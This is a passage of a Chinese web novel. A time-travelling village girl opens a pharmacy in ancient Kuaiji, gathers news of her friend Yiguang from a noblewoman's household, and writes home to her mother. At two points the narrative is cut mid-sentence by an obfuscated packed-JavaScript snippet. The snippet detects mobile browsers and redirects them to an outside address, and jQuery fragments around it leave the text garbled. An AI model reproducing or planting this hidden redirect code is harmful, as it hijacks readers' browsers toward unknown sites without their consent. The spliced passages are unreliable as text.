“略尽绵力?”那女子看着她,目光里带着几分审视,更多的却是好奇,“施姑娘,你这医术,可是让好几个郎中都束手无策。你那日说我是‘朱砂中毒’,我让人查了那些美容丸子,果然掺了不少朱砂。大夫们都说,若不是你及时催吐解毒,再过半日,怕是神仙也救不回来了。” 施晓青垂下眼,没有接话。 “所以,”那女子握住她的手,“这个恩,我一定要还。施姑娘,你想要什么?银子?绢帛?还是……别的东西?” 施晓青抬起头,迎上那女子的目光。 她在来的路上就想好了。 “夫人,”她开口,声音平稳,“民女确实有一个不情之请。” “说。” “民女在城南,帮一位长辈看杂货铺,顺带给人看病。但铺子是别人的,地方太小,草药也没处放。民女想……自己开一间小小的药铺,专门给城南那些看不起病的穷苦人看诊。不需要多大,也不需要多气派,只要能遮风挡雨、放得下药柜就行。” 那女子听完,微微一愣。 “就这个?” “就这个。” 那女子看着她,目光里的审视渐渐化开,变成一种复杂的、带着几分怜惜的神情。 “你呀,”她叹了口气,“别人若是救了我的命,怕是恨不得搬一座金山回去。你倒好,只要一间小药铺。” 施晓青笑了笑:“民女不需要金山。金山太重,搬不动。” 那女子被她逗笑了,笑完之后,认真地点了点头:“好,我答应你。城南那边,我记得有一间空着的铺面,临街的,位置不算偏。我让人收拾出来,给你做药铺。” “多谢夫人。”施晓青站起来,郑重地行了一礼。 “别急着谢。”那女子拉住她,从手腕上褪下一只玉镯,塞到她手里,“这个你先收着。不算赏赐,是……谢礼。你若是不收,我心里过意不去。” 玉镯温润,雕工精细,一看就不是凡物。施晓青犹豫了一下,收下了。 “夫人,民女还有一件事想问。” “问。” “夫人所说的那间铺面……是需要民女自己去办地契文书,还是……” 那女子愣了一下,随即笑了:“你这孩子,倒是仔细。放心,铺子是我私人的产业,我让人把房契转给你就是了。地契文书的事,你不用担心,会有人替你办妥。” 施晓青心里松了一口气。 她原本还担心,春秋时期没有完善的地契制度,送铺子这种事只是口头应允,没有法律效力。 这位夫人既然能直接说“把房契转给你”,说明她名下有合法的产业,也有能力办理过户手续。 这就够了。 施晓青从内城出来时,日头已经偏西。 马车驶过内城的街道,穿过城门,回到城南。她掀开车帘,看着车窗外熙熙攘攘的人群,嘴角不自觉地弯了起来。 一间药铺。 她要有自己的药铺了。 和刚来的时候有一个小角落不一样,这是真正属于自己的、可以光明正大地挂招牌的地方。 更重要的是—— 有了自己的铺子,就有了固定的场所,有了稳定的客源,有了更多的信息来源。她可以名正言顺地接触城南的三教九流,可以更自然地打听内城的情况,可以为夷光编织一张更密、更牢的网。 马车在城南停下,施晓青跳下车,快步走进李记杂货铺。 “李叔!”她的声音里带着少见的雀跃,“我有个好消息要告诉你!” 老李正在打算盘,闻言抬起头,看见她脸上的笑容,自己也笑了:“什么好消息,把你高兴成这样?” “我要开药铺了!”施晓青把药箱放在柜台上,“有贵人送了我一间铺面,就在城南,临街的。以后我就可以专门给人看病了,不用挤在您这儿了。” 老李愣了一下,随即放下算盘,站起来,脸上的笑容更深了:“真的?那敢情好!我就说嘛,你这姑娘,不该窝在我这小铺子里。” “李叔,我走了之后,您这儿要是有人来找我看病,您帮我指个路就行。” “那还用说!”老李拍拍胸脯,“你放心,你这药铺开起来,我第一个去捧场!” 施晓青笑着谢过老李,转身进了后院。 关上厢房的门,她从怀里摸出那只玉镯,对着窗口的光看了看。玉质通透,内部几乎没有杂质,在光线下泛着柔和的光泽。 这不是普通的玉。 也是某种身份的象征。 她把玉镯小心地收进包袱里,又从床底下摸出那叠桑树皮,在最新的一页上写下: “某月某日,救王宫女子(身份不详,疑为贵人),赠城南临街铺面一间。将开药铺,暂拟名为‘悬壶堂’。” 她那里有“悬壶济世”这个词。 说的是古代行医的人,在药铺门口挂一个葫芦作为标志,寓意“悬壶以济世”。 不知道这个时代有没有这个说法。 但她来会稽有一段时间了,没见着有店铺用这个名字,那她就用了吧。 她要在城南,挂起第一个葫芦。 让所有人都知道,这里有一个会治病的施姑娘,不问身份,不看银子,只救人。 这样就有人来找她,卖菜的、赶车的、跑腿的、帮佣的…… 她才能从他们嘴里,听到最真实、最细微、最不起眼却最有用的信息。 铺面的交接比施晓青预想的顺利得多。 五日后,一个穿着体面的中年人找到了李记杂货铺,自称是“夫人身边的管事”,带来了房契和一应文书。 “施姑娘,这是城南柳巷七号的铺面,临街,前后两进,后面带一个小院。房契已经转到您名下了,这是官府的认证,您收好。”中年人把一叠文书递给她。 施晓青接过,看了一眼。文书上盖着红色的官印,笔迹工整,条款清晰。 “多谢。” “夫人说了,铺子里的家具、药柜、柜台,都已经让人去置办了。姑娘若还有什么需要,尽管开口。” “已经很好了。”施晓青说,“请替我多谢夫人,改日我亲自去道谢。” 中年人走后,施晓青拿着那叠文书,坐在铺子里,看了很久。 房契。 在这个时代,这叫“红契”,是经官府认证、受法律保护的土地权属证明。 她,施晓青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486894|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个从苎萝村来的、十五岁的村女,在会稽城,有了一间属于自己的铺子。 这不是梦。 她捏了捏自己的胳膊,疼的。 是真的。 她站起来,深吸一口气,走出杂货铺,按照那中年人说的地址,去找那间铺面。 城南柳巷,离老李的杂货铺不远,走路不到一刻钟。 巷子不算宽,但干净整洁,两边是各种小铺面——卖面的、卖布的、打铁的、修鞋的。人来人往,烟火气十足。 七号铺面在巷子的中段,位置确实不错。 施晓青站在门口,看着这间即将属于自己的铺子。 门面不大,但比老李的杂货铺宽了一倍有余。门前有两级石阶,门槛是木头的,已经有些旧了,但很结实。门板是新的,显然是刚换过的,木头的颜色还浅着,散发着淡淡的松木香。 她推开门,走进去。 铺子里面很宽敞,分前后两进。前面是铺面,靠墙已经打好了药柜,整面墙的抽屉,分门别类,每个抽屉外面都贴了空白的小木牌,等着她写上药名。中间是一张长柜台,柜台上放着算盘、戥子、药臼、药杵。 后面是一间小小的诊室,放着一张桌子和两把椅子。诊室后面连着一个小院,院子里有一口水井,墙角种着一棵枇杷树,树荫刚好遮住半个院子。再往后是一间小小的厢房,可以住人。 施晓青在铺子里转了一圈,手摸着那些新打的药柜、光滑的柜台、干净的地面,眼眶忽然有些热。 她想起苎萝村那个小小的后院,那些晾在屋檐下的草药,那些用桑树皮记下的歪歪扭扭的字。 夷光蹲在她身边,认真地看那些叶子,问“这个叫什么”“那个做什么用”。 她们在月光下并肩坐着,说那些不能说给别人听的话。 那时她以为,她一辈子都会在那个小村子里,守着一小片药圃,等一个人的消息。 可现在,她在会稽城。 有了一间自己的药铺。 离夷光,只有几道墙的距离。 她吸了吸鼻子,从怀里掏出那根麻绳带子,在手里攥了攥。 然后她转身,锁上门,回到老李的杂货铺,找来一块木板和一支炭笔,坐在铺子门口,开始写字。 “悬壶堂”三个字,她写了一遍又一遍。 她想让这三个字好看一些。 这是她的招牌。 这是她在会稽城的门面。 这也是……为了夷光…… 最后,她选了一张写的最工整的,贴在木板上,挂在铺子门口。 “悬壶堂”。 三个字,歪歪扭扭的,谈不上好看,但清清楚楚。 路过的人看了一眼,有人念出声来:“悬壶堂?这是什么?” “是个药铺。”施晓青站在门口,笑着说,“专门给城南的街坊看病的。小病小痛,都可以来找我。” “真的?贵吗?” “不富裕的,不收钱。宽裕的,随意给。” 那人看了她一眼,半信半疑地走了。 施晓青不在乎。 她知道,名声是一点一点攒出来的。 就像她的网,是一扣一扣织出来的。 不急,她有耐心,有的是时间。 当天晚上,施晓青没有回老李的杂货铺。 她住在了悬壶堂后面的小厢房里。 床是新的,被褥是新的,枕头也是新的。一切都干干净净,带着新木头和棉布的气味。 她躺在黑暗中,睁着眼,看着头顶陌生的房梁。 一切像梦一样…… 她把那根麻绳带子从怀里拿出来,放在枕头旁边。 月光从窗缝里漏进来,细细的一缕,刚好照在带子上。那些密密麻麻的绳扣,在月光下泛着柔和的光。 夷光,你知道吗? 我有自己的药铺了。 在城南,叫悬壶堂。 以后,我会在这里给人看病,会在这里听人说话,会在这里等你。 你什么时候,才能从内城出来? 你什么时候,才能走到这条巷子里,推开这扇门? 她闭上眼,风从窗缝里钻进来,吹动枕边的带子,发出叹息一样的声响。 20. 消息 悬壶堂开张第三日午后,一个穿着打满补丁的短褐、怀里抱着个三四岁孩子的妇人,在门口站了很久,终于推门进来。 “施姑娘,”妇人声音怯怯的,“我家娃烧了两日了,喂了姜汤也不见好,您能不能给看看?” 施晓青放下手里的药杵,走过去,先看了看孩子的脸色,又伸手探了探额头——烫得吓人。 她仔细问了症状、饮食、大小便,又让孩子张开嘴看了舌苔,心里大概有了数。 不是风寒,是食积化热,加上春天气候多变,孩子抵抗力弱,就烧起来了。 “大嫂,别急,不碍事的。”她转身从药柜里抓了几味药,山楂、麦芽、神曲,又加了一点点连翘,用纸包好,“这个拿回去,煮水给孩子喝,一天三次,每次小半碗。这两日饮食要清淡,只喝米汤,别喂油腻的。若是明晚还不退烧,你再来找我。” 妇人接过药包,千恩万谢,从怀里摸出几个铜板,放在柜台上。 施晓青看了一眼,只拿了两个,把剩下的推回去。 “够了,这两个就够了。” “这……”妇人愣住了,“施姑娘,您这……这也太少了,我……” “大嫂,”施晓青笑了笑,“我说过,不富裕的,不收钱。你拿回去给孩子买碗米汤喝。” 妇人的眼眶红了,抱着孩子连连鞠躬,施晓青赶紧扶住她。 “别这样,以后孩子有什么不舒服,尽管来找我。” 妇人走后,施晓青站在门口,看着那瘦小的背影消失在巷子拐角,忽然想起苎萝村的阿母。 阿母也是这样,瘦瘦小小的,背微微有些驼,走路时总是低着头,像是怕打扰了谁。 她吸了吸鼻子,转身回了铺子,继续整理药柜。 前两日来的多是街坊邻居,探头探脑地看一圈,问几句,拿包薄荷叶就走了,真正坐下来让施晓青望闻问切的,一个也没有。 她也不急,坐在柜台后面慢慢地整理药柜,在每个小木牌上写上药名,字不好看,但工整,一笔一划,像是在做一件极郑重的事。 消息传得比施晓青预想的快。 第四日来了两个,第五日来了三个,到第七日,已经需要排队了。 来的都是城南的穷苦人,卖菜的、赶车的、帮佣的、浆洗的,还有几个从更远的棚户区走来的。 施晓青一一接待,仔细问诊,谨慎用药,分文不取,或者只收很少的铜板。 她的规矩简单:看得起的,随意给;看不起的,分文不取。 这个规矩在城南传开了,来的人越来越多,不只是看病的,还有来道谢的、来送东西的。 一把青菜、几个鸡蛋、一碗热汤、一块自家做的豆腐,施晓青都收了,道了谢,转身分给更需要的人。 城南渐渐有了一个说法——“悬壶堂的施姑娘,是菩萨心肠。” 施晓青听到这个说法时正在捣药,手里的药杵顿了一下,然后笑了。 菩萨心肠?她不是。 她是一个有私心的人,只是她的私心,藏得比别人的深一些。 悬壶堂开张半个月后,施晓青的生活形成了新的规律。 每日清晨,她起来先熬一锅薄荷甘草茶,放在门口的大陶罐里,旁边放几个粗陶碗,路过的人渴了可以自己舀着喝。 然后开门,整理药柜,接待陆续上门的病人。 午后,若是病人不多,她会提着药箱,去那些走不动的老人家里巡诊。 傍晚,关了铺子,点上油灯,把白天听到的消息分类整理到桑树皮上。 卖菜的陈大嫂,每次来送菜都会多说几句:“施姑娘,我今儿在菜市场听说,内城又进了几个新人,都是越国各地选上来的,长得一个比一个水灵。” 赶车的赵叔,偶尔会绕路过来喝碗茶:“施姑娘,我昨天给城东那个府上送货,看见好多马车停在门口,下来的都是穿官袍的人,也不知道在商量什么大事。” 跑腿的小六子,隔三差五来讨膏药:“施姑娘,你猜我前天看见谁了?陶朱记的那个范掌柜,就是那个很少露面的,我亲眼看见他从后门进了内城!” 施晓青把这些信息一一记下,像拼图一样,一点一点地拼凑着会稽城的全貌。 这天傍晚,她正在铺子里整理一天的记录,门被推开了。 进来的是一个二十出头的年轻女子,穿着一身素净的青衣,头发简单地绾着,脸上不施粉黛,但眉眼间自有一股清秀之气。 她手里提着一个食盒,进门便四处打量,目光里带着好奇。 “你就是施姑娘?”她问。 “我是。你是?” 女子把食盒放在柜台上,打开,里面是一碟精致的桂花糕。 “我叫素心,是夫人身边的丫鬟。夫人让我来看看你,顺便带些糕点。”她说着,目光落在那些药柜上,“这就是你的药铺?比夫人说的还小些。” “小有小的好处。”施晓青给她倒了碗茶,“夫人身体可好些了?” “好多了。” 素心接过茶,抿了一口,“夫人让我告诉你,那些朱砂丸子已经查清楚了,是有人在里面动了手脚。夫人说,多亏了你,不然……”她没有说下去,但意思已经很明显了。 施晓青点了点头,没有追问。宫里的事,知道得越少越安全。 素心喝完茶,站起来,又在铺子里转了一圈,最后停在门口,看着那块“悬壶堂”的招牌。 “施姑娘,你这招牌上的字,是谁写的?” “我写的。” 素心看了她一眼,嘴角弯了弯。“姑娘,你这字……挺有特色的。” 施晓青也笑了。“我知道,不好看。能看清就行。” 素心走后,施晓青把那碟桂花糕收好,打算明天分给来看病的孩子们。 她坐回柜台后面,继续整理那些桑树皮。 最新的那张上,她写下了今天的新收获:“内城又进新人,各地选送,容貌出众者。不知是否有夷光的消息。” 她放下炭笔,从怀里摸出那根麻绳带子。 已经很长了,她用手指量了量,从这头到那头,比她伸直双臂再向外延伸两掌还长。 她不知道还要编多久,但每编一扣,就觉得自己离夷光近了一步。 * 同一天夜里,内城教习坊。 夷光坐在窗边,手里捧着那卷吴嬷嬷发的《礼仪三百》,目光却不在书上。 窗外月色很好,照在院子里那几株桃花上,花瓣在夜风中轻轻颤动,偶尔飘落几片,落在青石板上,像一层薄薄的雪。 郑旦已经睡着了,发出均匀的呼吸声。夷光听着那呼吸声,想着自己的心事。 今天下午,她听送饭的丫鬟说,城南那个会治病的姑娘,开了自己的药铺,叫“悬壶堂”。 “悬壶堂”,她在心里默念着这三个字。 悬壶,什么意思? 是阿青起的名字吗? 她想起阿青教她认字时的样子,拿着树枝在地上写,一笔一划,认真得像在做一件天大的事。 “这些字,只有你我能看懂。” “若你需要传递消息,用这种字写,即便被人截获,也极难辨认。” “你要记在心里,烂在脑子里,不能写在任何地方。” 她都记着。每一个字,每一个符号,每一个笔画,都烂在脑子里了。 “夷光?你怎么还没睡?”郑旦翻了个身,迷迷糊糊地问。 “睡不着。” 郑旦揉了揉眼睛,爬起来,披着被子凑过来。 “又想家了?” 夷光没有回答,只是看着窗外的月亮。 “我跟你说,”郑旦压低声音,“我今天听见一个消息。” “什么消息?” “听说,咱们可能不用在这里待太久了。可能再过几个月,就要被送去吴国了。” 夷光的手微微一顿。 “几个月?” “嗯,好像是说,那边已经在准备了。吴王最近又提了好几次,说想见见越国的美人。”郑旦的声音低下去,“夷光,你怕不怕?” 夷光沉默了很久。 “怕。”她说,“但怕也没用。” 郑旦叹了口气,缩回被窝里。 “是啊,怕也没用。睡吧,明天还要早起练舞呢。” 夷光没有睡。 她继续坐在窗边,看着月亮,想着那些很远又很近的事。 几个月,就要被送去吴国了。 吴国,那个陌生的、遥远的、据说金碧辉煌又危机四伏的地方。 她去了那里,还能收到阿青的消息吗?阿青还能找到她吗? 她从枕下摸出那个小小的布包,打开。 薄荷叶已经碎成了粉末,轻轻一碰就散开了,但那清苦的香气还在,淡淡的,像阿青身上的味道。 她把布包重新包好,贴在胸口。 阿青,你知道吗,我可能很快就要走了。去吴国,去一个很远很远的地方。你还能找到我吗?你还会来找我吗? 她闭上眼,在黑暗中,无声地念着那些密码文字。那是她唯一能抓住的东西,是她和阿青之间,看不见却扯不断的线。 五日后,施晓青正在铺子里给一个老人看风湿腿,门外忽然传来一阵马车声。 她抬头一看,一辆青帷马车停在门口,车帘掀开,素心跳了下来。 “施姑娘,夫人让我来接你。”素心走进来,看了一眼那个老人,压低声音,“夫人说,有些事想当面跟你说。” 施晓青给老人包好药膏,叮嘱了几句,送他出门,然后换了身衣裳,跟着素心上车。 马车驶过城南,穿过城门,进了内城。这一次,没有停在城西的陆府,也没有停在城东那个朱红大门,而是驶向了一个施晓青从未去过的地方。 马车在一处幽静的院落前停下。院子不大,但比上次那个更精致,门前种着几株修竹,墙上爬满了青藤,风一吹,沙沙作响。 素心领着她穿过回廊,在一间书房前停下。 “夫人,施姑娘来了。” “进来。” 推开门,那个女子正坐在窗边看书。 今日她穿了一身浅绿色的衣裙,头发松松地挽着,比上次见面时气色好了许多。见施晓青进来,她放下书,笑了笑。 “施姑娘,坐。” 施晓青在她对面坐下,素心端上茶来,退了出去。 “铺子开得如何?”那女子问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486895|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “托夫人的福,还好。”施晓青说,“街坊邻居照顾,来的人渐渐多了。” 那女子点了点头,端起茶杯,轻轻吹了吹,又放下了。 “施姑娘,我今天叫你来,是有件事想跟你说。”她顿了顿,目光落在施晓青脸上,像是在斟酌措辞。 “我听说,你一直在打听内城的事。尤其是……教习坊那边的事。” 施晓青的心猛地一跳,面上却不动声色:“夫人,我只是……” “别急着解释。” 那女子抬手打断她,目光温和却不容置疑,“我没有怪你的意思。我只是想知道,你为什么对教习坊感兴趣。你是在找什么人吗?还是在打听什么事?” 施晓青沉默了片刻。 她知道,在这个女子面前,撒谎没有意义。这个女子能送她一间铺子,就能收回;能帮她,也能毁了她。 “夫人,”她抬起头,迎上那女子的目光,“我在找一个朋友。她是我从小一起长大的姐妹,几个月前被人从老家带走,送进了内城。我听说,她就在教习坊。” 那女子看着她,目光里的审视渐渐化开。“你的朋友,叫什么名字?” “施夷光。” 那女子端着茶杯的手微微一顿。 “施夷光……”她念着这个名字,像是在回忆什么,“我听说过这个名字。听说,是这批女子里最出色的一个。” 施晓青的心跳得更快了。 “夫人,您见过她?” “没有。”那女子摇摇头,“但我听说过她。范大夫对她很看重,亲自过问她的训练。” 她顿了顿,看着施晓青,“你想见她?” “想。” 施晓青没有犹豫,“夫人,我知道这不合理,也知道这不合规矩。可我……我就是想看看她,想知道她过得好不好。哪怕只是远远地看一眼,也行。” 那女子沉默了很久。窗外的风穿过竹林,发出沙沙的声响,像是谁在低声说话。 “施姑娘,”那女子终于开口,声音很轻,“你知道教习坊是什么地方吗?” “知道。” “你知道那里的女子,将来要送去哪里吗?” “知道。” “你知道,如果你被人发现与那里的女子有来往,会有什么后果吗?” “知道。” 那女子看着她,目光里的温和渐渐变成了某种复杂的、带着几分敬佩的东西。 “你什么都知道,却还是要见她?” “是。” 那女子放下茶杯,站起来,走到窗边。背对着施晓青,她沉默了很久。 “我不能让你进教习坊,”她说,“那里不是我能插手的地方。但是……” 她转过身,看着施晓青,“我可以帮你打听她的消息。她过得好不好,有没有受委屈,吃得怎么样,睡得怎么样——这些,我可以让人告诉你。” 施晓青的眼眶忽然就红了。 “夫人……” “别谢我。” 那女子走回来,重新坐下,握住她的手,“你救了我的命,这点小事,不算什么。何况……” 她笑了笑,“我也年轻过,也有过想见却见不到的人。那种滋味,我知道。” 施晓青低下头,用力眨了眨眼,把眼泪逼回去。 “夫人,您说的那个人,后来见到了吗?” 那女子的笑容淡了。 “没有。这辈子,都没有。” 屋里安静了很久。 施晓青抬起头,看着那女子的侧脸。 这位夫人帮她,不只是因为救命之恩,更是因为,她在她身上,看到了自己年轻时的影子。 “夫人,”施晓青轻声说,“我会见到的。我一定会。” 那女子转过头,看着她,目光里有些湿润。 “好,”她说,“那就好。” 从内城出来,施晓青坐在马车里,看着窗外掠过的街景,心里翻涌着说不清的情绪。 她有了一个盟友,一个住在内城、身份不低、愿意帮她打听消息的盟友。 这个盟友,比十个货郎、二十个赶车的、一百个跑腿的都管用。可她心里并不全是高兴,还有酸,还有涩,还有说不清的、沉甸甸的东西。 那女子说,她也有过想见却见不到的人,这辈子,都没有再见到。 施晓青闭上眼,靠在车壁上。 夷光,我不会让那样的事发生在我们身上。 我一定要再见到你。 一定。 马车在悬壶堂门口停下。 施晓青跳下车,推开门,走进铺子。 一切照旧,药柜、柜台、药杵、药臼,还有那股淡淡的、清苦的草药香。 她站在柜台后面,看着那些熟悉的一切,忽然觉得,这间小小的药铺,不只是她的立足之地,也是她为夷光点亮的那盏灯。 她拿起炭笔,在桑树皮上写下今天的新收获: “夫人愿帮忙打听夷光消息。内城盟友,加一。” 她放下炭笔,看着窗外渐渐暗下来的天。 会稽城的春天,夜晚还是有些凉,风吹过巷子,带着不知名的花香。 …… …… 21. 家书 悬壶堂开张满一个月的那天,施晓青收到了一封信。 信是翠儿托人捎来的。 一个从诸暨来的货郎,在城南卸货时听说“悬壶堂的施姑娘”,便拐进来问了一句,把一卷皱巴巴的树皮递给她。 “苎萝村一个姑娘让带给你的,说姓翠。” 施晓青接过那卷树皮,手指微微发颤。 树皮上歪歪扭扭地画着一行字,翠儿不识字,只是照葫芦画瓢地把施晓青临走前留给她的那个“模板”描了一遍。 施晓青看了好一会儿才认出来:“阿青,我们都好,你别担心。你阿母想你,哭了。我也想你。” 就这么几个字,施晓青看到眼眶发酸,看到视线模糊。她把树皮收好,收进怀里,贴着那根麻绳带子。 “她还说了什么?”她问货郎。 货郎想了想:“那位姑娘说,让你有空写封信回去,别让你阿母惦记。还说,家里都挺好的,就是……就是大家都挺想你的。” 施晓青点了点头,从柜台里拿出几个铜板递过去,货郎摆手不要,她硬塞到他手里:“拿着,辛苦你跑这一趟。” 货郎走后,施晓青坐在柜台后面,发了好一会儿呆。 来会稽城快两个月了。 刚来的时候忙着落脚,忙着开铺子,忙着给人看病,忙着打听夷光的消息。 每天都排得满满的,满到没有时间去想苎萝村,没有时间去想阿母。 可此刻,那卷皱巴巴的树皮像一把钥匙,打开了她心里那扇一直关着的门。 阿母。 临走那天,阿母站在院门口,眼圈红红的,忍着没哭。 阿母哑着嗓子说:“你到了那边,记得写信回来。” “你呀,总是惦记别人,就不惦记惦记自己,”那语气,又心疼又无奈。 阿母不识字。 她写给阿母的信,阿母也看不懂。 可翠儿会念给她听。 翠儿会把信上的每一个字,翻来覆去地念,直到阿母说:“好了好了,我知道了。” 过一会儿又问:“她刚才说啥?再说一遍”。 施晓青吸了吸鼻子,从柜台下面翻出一张干净的树皮,拿起炭笔,开始写信。 “阿母,我在会稽城很好,开了间药铺,叫悬壶堂。不大,但够用了。城南的街坊邻居都很照顾我,来看病的人也渐渐多了。您别担心我,我吃得好,穿得暖,睡得也踏实。您要照顾好自己,那些药按时用,别舍不得。翠儿来帮忙读信的时候,您让她慢慢念,别着急。等我攒够了钱,就回去看您。” 写完之后,她看了一遍,又看了一遍。字还是不好看,但工整,一笔一划,像在做一件极郑重的事。 她把树皮折好,又从柜台里拿出几个铜板、一小包晒干的薄荷叶、一小罐自己熬的桂花蜜,用粗布包成一个包袱。 薄荷叶是给阿母泡水喝的,桂花蜜是给阿母抹饼子的。都不是什么值钱的东西,但都是她亲手做的,带着她的手心和会稽城的味道。 她打算明天去找那个货郎,托他带回去。 夜里,施晓青躺在小厢房的床上,翻来覆去睡不着。 窗外月色很好,照在枇杷树的叶子上,泛着银白色的光。 她睁着眼,无心睡觉。 苎萝村现在是什么样子呢? 春天应该快过完了,溪边的水应该暖了一些,那些野薄荷应该长得很高了。 阿母应该每天还是早早起来,喂鸡、烧水、做饭,然后坐在院门口择菜,看着那条村路发呆。 翠儿应该还是隔三差五地来串门,跟阿母说说话,帮忙挑挑水,然后趴在桌上,让阿母念她的信。 施晓青的眼泪从眼角滑到枕头上。 她很少哭。 从穿越到这个世界的第一天起,她就告诉自己,不能哭,哭没有用,哭解决不了任何问题。 可此刻,在这个安静的、只有月光和枇杷树的夜里,她忽然很想哭。 那个在苎萝村的小院子里,一个人坐在灶房门口,看着一锅粥发呆的女人。那个女儿走了快两个月,只收到过一封报平安的口信的女人。那个嘴上说“你在外面好好的就行”,心里却每天都在盼着她回去的女人。 施晓青把被子拉过来,蒙住头,无声地哭了一场。 哭完之后,她坐起来,擦了擦脸,从枕头底下摸出那根麻绳带子。带子又长了一些。她用手指量了量,从这头到那头,已经比她伸直双臂再向外延伸四掌还长了。 她不知道这根带子要编到多长。也许要编到夷光从内城出来的那天,也许要编到她们重逢的那天,也许要编到永远。但没关系,她有耐心,她有的是时间。 她把带子折好,重新收进怀里,闭上眼。 明天,还要早起熬薄荷茶。还要接待来看病的人。还要打听内城的消息。还要给阿母寄东西。 她不能停。 * 五日后,苎萝村。 翠儿从镇上回来,手里攥着一个粗布包袱,几乎是跑着冲进施晓青家的院门。 “婶子!婶子!阿青来信了!还带了东西!” 阿母正在灶房里烧火,听到声音,手里的柴火掉在地上。 她站起来,擦了擦手,走到门口,看见翠儿气喘吁吁地举着那个包袱,眼睛一下子就红了。 “她……她说了什么?” 翠儿拉着阿母坐到院里的石墩上,打开包袱。里面是一张叠得整整齐齐的树皮、一小包薄荷叶、一小罐桂花蜜,还有几个铜板。 翠儿拿起树皮,展开,清了清嗓子,一个字一个字地念:“阿母,我在会稽城很好,开了间药铺,叫悬壶堂……” 她念得很慢,很认真,每一个字都念得很清楚。阿母听着,眼泪一滴一滴地掉下来,落在衣襟上,落在手背上,落在那个粗布包袱上。 “她……她开了药铺?”阿母的声音发颤。 “嗯,开了药铺。”翠儿把信念完,又从头念了一遍。念完之后,她把树皮递给阿母。“婶子,您收好。” 阿母接过树皮,手指摩挲着那些歪歪扭扭的字,像是在摸女儿的脸。 “她瘦了没有?”她问。 翠儿愣了一下:“信上没说。” “她肯定瘦了。” 阿母的眼泪又掉下来,“那孩子,从小就不知道照顾自己。给别人看病倒是上心,自己的事从来不上心。她在那边,有没有人给她做饭?有没有人给她洗衣裳?有没有人……” “婶子,”翠儿握住她的手,“阿青说她很好。她说吃得好,穿得暖,睡得也踏实。您别担心她。她把薄荷叶和桂花蜜都寄回来了,说明她心里惦记着您呢。” 阿母点了点头,把树皮贴在胸口,像抱着一个孩子。 那天晚上,阿母没有做饭。 她坐在灶房门口,把那封信看了又看。 虽然她一个字也不认识,但她就那么看着,看着那些歪歪扭扭的笔画,像是能从中看出女儿的脸,看出女儿的笑,看出女儿在会稽城的日子。 翠儿陪她坐到很晚,直到月亮升到头顶,才起身回家。临走前,她把那罐桂花蜜打开,抹了一块饼子递给阿母。 “婶子,尝尝。阿青做的。” 阿母接过饼子,咬了一口,眼泪又掉了下来。 甜,很甜。甜得让人想哭。 第二天一早,翠儿又来了。 她帮阿母挑了水,扫了院子,喂了鸡,然后把那包薄荷叶拿出来,给阿母泡了一碗水。 “婶子,阿青说这个泡水喝,对身体好。” 阿母接过碗,低头看着碗里浮浮沉沉的薄荷叶,喝了一口,清清凉凉的,一直凉到心里。 “翠儿,”阿母忽然说,“你说,阿青在 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“夫人说,施夷光一切都好,训练很刻苦,吴嬷嬷夸她有天分。” “夫人说,施夷光最近在学一种新的舞蹈,学得很快,比其他人快了一大截。” “夫人说,施夷光好像瘦了一些,但精神还好,不用担心。” 每一条消息,施晓青都仔仔细细地记在桑树皮上。 她把那些零散的信息拼在一起,在心里勾勒出夷光在内城的样子—— 刻苦的、聪明的、坚韧的、不放弃的。 那就是夷光。无论在苎萝村,还是在会稽城,她都是那个样子。永远在努力,永远不认输。 这天下午,施晓青正在铺子里给一个孩子看咳嗽,素心又来了。 这一次,她带了一张帖子:“夫人说,后日是她生辰,想请你去府上坐坐,吃顿饭。” 施晓青接过帖子,看了一眼:“夫人太客气了,我会去的。” 素心走后,施晓青站在门口,看着巷子里来来往往的行人。 夫人的生辰,去府上吃饭。这是一次进入夫人社交圈的机会。夫人请的人,应该都是有头有脸的。那些人的言谈举止、人情往来、甚至无意中透露的信息,都可能成为她拼图的一部分。 她需要准备一份礼物,她想了想,回到后院,从药柜里拿出几样东西—— 干玫瑰花、干桂花、干菊花、干薄荷,还有一小罐蜂蜜。她把玫瑰、桂花、菊花、薄荷按比例配好,加入蜂蜜,用手揉搓,然后放在陶罐里密封。 这是她自制的“四花蜜茶”。冲泡之后,花香四溢,清甜可口,最适合女子饮用。 不是值钱的东西,但胜在用心,胜在独一无二。 她又在陶罐外面贴了一张小纸条,上面写着“四花蜜茶”四个字,和冲泡的方法。 然后把陶罐用粗布包好,放在柜台下面,等着后日带去。 夜里,施晓青躺在小厢房的床上,手里攥着那根麻绳带子。 带子又长了一些。她用手指量了量,从这头到那头,已经比她伸直双臂再向外延伸五掌长了。 她想起阿母了,那时阿母站在院门口,眼圈红红的,忍着没哭的样子。想起翠儿趴在桌上,照着“模板”描字的样子。想起苎萝村的春天,溪边的野薄荷,后院的药圃,还有那些月光下的夜晚。 她想家了,想念那些简单的人、简单的事、简单的日子。 可她不能回去,至少现在不能。 夷光还在内城,她的任务还没有完成。 她不能回去。 她把带子贴在胸口,闭上眼。 阿母,等我。等我把这边的事办完,我就回去看你。 我会和夷光一起回去。 我答应你。 22. 生辰宴 天色未亮,施晓青便起了。 她将前日备好的那罐四花蜜茶又检查了一遍,确认封口严实,才用粗布仔细裹好,放进一个旧竹篮里。 